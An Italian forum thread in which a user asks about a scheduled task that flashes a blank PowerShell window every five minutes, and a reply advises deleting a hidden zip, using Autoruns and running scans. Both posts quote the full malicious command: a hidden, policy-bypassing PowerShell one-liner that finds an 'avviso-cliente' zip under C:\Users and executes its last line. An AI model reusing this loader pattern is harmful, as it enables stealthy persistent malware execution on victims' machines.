taskeng powershell si apre ogni 5 minuti e scompare

[Perseverance]

Ho trovato questa stringa nell'utilità di pianificazione, windows 7, che si manifesta come una finestra taskeng tipo powershell senza scritte, appare e scompare nel giro di mezzo secondo. Il comando che la genera è questo

Codice PHP:

-nonI -eP bypasS -nOP -win 1 -c &{cd C:\Users\;$p=gci -force -r -in avviso-cliente*.zip|select -last 1;$v=cat -LiteralPat $p.fullname;$v[$v.length-1]|iex} 


Cancellando la pianificazione scompare il problema.
Che roba è? Un malware? Tradotto...che dovrebbe fare?

[Lomber001]

Originariamente inviato da Perseverance

Ho trovato questa stringa nell'utilità di pianificazione, windows 7, che si manifesta come una finestra taskeng tipo powershell senza scritte, appare e scompare nel giro di mezzo secondo. Il comando che la genera è questo

Codice PHP:

-nonI -eP bypasS -nOP -win 1 -c &{cd C:\Users\;$p=gci -force -r -in avviso-cliente*.zip|select -last 1;$v=cat -LiteralPat $p.fullname;$v[$v.length-1]|iex} 


Cancellando la pianificazione scompare il problema.
Che roba è? Un malware? Tradotto...che dovrebbe fare?

Da ciò che mi è apparso capire hai un file .zip in: C:\Users\, cancella qualsiasi zip che trovi in questa directory.. dopo scarica autoruns della microsoft, e elimina i collegamenti nel sistema, (Il file .zip potrebbe essere nascosto).

Sysinternals Downloads Autoruns!

Per scrupolo fai delle scansioni con Emsisoft Emergency Kit,Malwarebytes,HitmanPro in questo modo sei un pò più sicuro di non aver infezioni.